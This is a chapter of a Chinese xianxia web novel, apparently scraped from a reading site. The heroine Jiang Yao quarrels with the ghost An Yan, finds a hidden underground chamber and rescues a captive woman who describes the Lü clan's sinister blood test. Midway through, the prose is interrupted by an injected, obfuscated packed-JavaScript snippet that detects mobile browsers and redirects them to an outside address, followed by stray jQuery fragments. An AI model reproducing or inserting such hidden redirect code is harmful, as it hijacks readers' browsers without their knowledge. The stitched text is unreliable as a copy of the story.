安宴灰白的眸子中满是震惊,他抬起手试图控制怨气,却发现怨气已经脱离了自己的掌控。
“你……”
安宴话没说完,便被姜尧冷着脸打断:“我的命运我会自己承担,不需要你自作主张。”
被汹涌的怨气倒灌,安宴痛苦地皱起眉,但身体上的疼痛比不上姜尧的冷漠带给他的痛苦。
“我确实对你有不同于其他人的感觉,但那不代表有资格插手我的因果。”
她字字清晰,每个字都将安宴的心脏砸得一颤。
因为从小到大的经历,姜尧天生就讨厌被人安排,更接受不了别人为她牺牲什么,如果为了改变自己早死的命运让安宴魂飞魄散,那她宁可不要。
安宴看着姜尧的眼睛,视线突然有些模糊。
他……没有资格。
是啊,他因为生前的阴暗与罪孽,将纯粹干净的姜尧看做上天送给自己的救赎,看做自己漫长痛苦岁月中的一束光,想为了这束光一厢情愿地付出所有。
甚至产生了龌龊心思……
被自己这样的人盯上,姜尧一定恶心透了吧。
即使刚才信誓旦旦地说即使姜尧觉得恶心也无所谓。
可要是真让他面对姜尧的厌恶嫌弃的目光,光是想想就让他生不如死。
“你的那些心思,并不恶心。”
姜尧像是能听到他的想法,直视安宴的眼睛缓缓说道。
她眼中没有唾弃,没有责备,平静地如一潭广阔湖水,无声接纳着安宴的卑微与狼狈。
“别对自己太过苛责,你也只是个人而已。”
说完这句,姜尧便不再理他,自顾自盘腿坐下,将怨气从自己的身体里剥离。
失去怨气修补的身体再次出现颓相,但姜尧视若无睹。
她是真的有些生气,因此没有手软控制怨气流速,一股脑塞进安宴的身体,安宴却毫无反应,一双眼睛紧紧盯着姜尧。
她说自己不恶心。
自己破罐子破摔该说的不该说的全说了,但她居然不觉得恶心。
她似乎……也对自己有不一样的感觉……
是跟自己一样的感觉吗?
看着姜尧紧锁的眉头,安宴心里的悸动被苦涩压下。
可姜尧还是会死在二十岁。
他什么都改变不了。
难道这就是天命吗?
最后一丝怨气被安宴的身体吸收,姜尧缓缓吐出一口气,她有些累了。
这一晚几乎是毫无进展。
如果勉强算得上进展的话,就是知道曾经囚禁安宴的人姓吕,大概率也是杀害安宴并将他抛尸的人。
但他是吕家的哪个人?
不得而知。
他有什么目的?
也毫不知情。
姜尧不由得想起那个出现在她幻境,阻止安宴说出全名的人——他长着一张与安宴一样的脸。
他是谁?
和安宴又有什么关系?
为什么好像跟自己很熟的样子?
姜尧越想越烦躁,本来想解决的问题没有解决,又多出来一堆问题。
她再次确认了安宴没事,便收回神识,额头黑纹倒转,睁开眼,一丝黑雾在她瞳孔中一闪而过。
现在,她眼前景象恢复成漆黑的荒地。
心绪不宁让她没注意自己指尖泄了一缕怨气出去,那缕怨气落在地上没有消散,反而朝着地底渗透。
穿过层层乱石土壤,竟到了一个漆黑的空间。
姜尧和安宴同时感应到那缕怨气所在的位置,纷纷清空思绪,精神一振。
这地下有密室!
姜尧弯下身,手掌贴紧地面,一缕怨气迅速朝着地下探去。
时间一分一秒地过去,姜尧眼中的光芒却越来越暗。
还是没有吕沐歌的气息。
这只是个荒废的空间吗?
姜尧整个人几乎爬在地上,试图听到下面的声音,可惜还是一无所获。
吕沐歌真的不在这里吗?
绝望的情绪逐渐将她笼罩。
可紧接着,姜尧神色一喜,迅速在地上弹起。
地下有人!
只是气息非常微弱,微弱到几乎无法被人察觉。
姜尧重新打起精神,她小心释放出怨气,在周围寻找地下密室的入口。
很快,她成功了。
一片杂草掩盖的石头下,竟有一人为挖掘的洞口。
如果不是先发现地下有空间,这处入口根本发现不了。
“注意安全。”安宴提醒道。
知晓方位,姜尧很快便接着月色摸到那块巨石前,还没移开石头,便闻道一股淡淡的腥臭味。
一丝不安爬上她的心头。
吕沐歌可千万不要有事。
姜尧在心里默默祈祷,摸着黑进入了洞口。
下了不知多少个石阶,越来越多的冷气顺着姜尧的裤角往里钻,让她忍不住打了个寒颤。
她点燃火折子,靠着微弱的光她勉强看见脚下的路。
“有人吗?”姜尧试探问道。
咚……
轻微的敲击声在远处传来。
姜尧一愣,循声朝那个方向走去。
是吕沐歌吗?
为什么不说话?
受伤太重连声音都没办法发出来吗?
想到这,姜尧心里一急,不由得加快了速度。
可距离越近,她的脚步却越慢了下来。
会是吕沐歌吗?
咚……
又是一声,像是在催促。
一道模糊的黑影出现在姜尧不远处,她倒在地上,身体蜷缩成一团,只是太黑了,看不清样貌。
火折子因为地下稀薄的空气明明灭灭,像有人在旁吹气。
姜尧一边小心靠近,一边把手放在了铜镜上。
“沐歌?”她问。
那道身影没动,阴影随着呼气只有微弱起伏,看起来是真的受了重伤,发不出声音。
见状,姜尧又前两步,在勉强能看到对方脸的距离停下。
看清对方的脸,姜尧眼中难掩失望。
不是吕沐歌,而是一个陌生的女人。
那女人看着三四十岁,被绑着手脚,嘴巴被一块破布死死堵住,身体因为冷而蜷缩起来,露出的手腕上满是青紫交错的淤青。
姜尧没有急着解开女人的绳子,她上下打量女人确定她没有威胁后,才上前解开了她脚下的绳子,又拿下她口中的布条。
但没有动她绑手的绳子。
“你是谁?”
女人身上满是灰尘,嘴巴干裂,看得出来已经被绑了许久。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784173|175527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“救救我。”她勉强说出这三个字,嗓子便发不出任何声音。
姜尧见状拿出自己的水壶,对着女人的嘴巴喂了进去。
女人像是久旱逢甘霖的植物,大口大口喝着,泪水都呛了出来还伸着舌头把最后一滴水珠卷进嘴里。
“谢谢,谢谢。”女人终于停止了咳嗽,泪流满面地站起身,重重跪在姜尧面前,“民女董姝,救命之恩无以为报,以后愿为姑娘效犬马之劳。”
“谁把你关在这的?你在这里都见过什么人?”姜尧一边问一边将她扶起。
趁靠近女人的时候轻轻动了动鼻子。
女人身上只有泥土和洞穴潮湿的味道,没有兰花味。
但当初陈雨说过,兰花香很容易被其他味道掩盖,因此姜尧还是没有放松警惕。
董姝被绑着手,知道姜尧不信任自己,便赶忙答道:“是几个黑衣人!他们从山下的村子里把我掳走,等我醒来就到这里了。之前这里还关着几个人,我记得有两个女人,年纪一大一小,还有个小男孩。”
那年纪小的一男一女大概就是吕沐歌和那个长老家失踪的孙子,至于那个年纪大的女人……
姜尧实在想不起来还有谁失踪。
“他们去哪了?你上次见到他们是什么时候?”
“我不知道他们被带到了哪里,他们是今天白天被带走的,你放心,他们走的时候都还活着。”
姜尧闻言,表情却没有放松。
这里一点阳光都照不进来,她怎么知道吕沐歌他们被带走的时候是白天还是晚上?
董姝却像是意识到了自己话语中的可疑之处,她解释道:“那些人把他们带走的时候,我抓住他们的衣角求他们放了我,当时他们的衣服上有阳光的余温。”
“那为什么把你留在这?”
姜尧眼中的怀疑没有丝毫减少,一切巧合的背后都可能藏着阴谋。
谁知董姝闻言竟直接哭了起来,她哭得悲切极了,抽噎着说出了她被抓的全过程。
原来她祖辈生活在被吕家庇护的小村庄里,对吕家人有天然的敬仰,听说吕家在招杂役,她便想来碰碰运气。
哪怕只是看看传说中的仙人也是好的。
可谁知找杂役的过程竟如此匪夷所思。
明明是招干粗活的杂役,可吕家主派下来的小仙童们既不看能力也不看体格,反而是拿了块石头,每个人点一滴血上去。
那石头大概是块仙石,有人用血就可以将石头点亮。
众人议论纷纷,怀疑是吕家用这仙石测谁的血脉纯净,后来又演变成吕家表面找杂役,实则是想在平民中找出有仙缘的人做预备弟子。
人们迫不及待地上前一个一个将血点在石头上。
可只有寥寥几个将石头点亮。
那些点亮石头的人被带走,此后再无音讯。
而董姝在现场觉得不对劲,所以在滴血的时候并未咬破手指,所幸仙童们看管不严,这才让她顺利离开。
可后来不知怎的,她没咬破手指的事竟被人发现了。
几个人冲入村子,因为他们拿着吕家令牌,随便编了个理由就让村长和村民们领着他们到了董姝的家,董姝爹娘犹豫再三,还是把正要逃跑的董姝送到了这群人手里。
毕竟她还有两个兄弟,实在没必要为了她连累一大家子。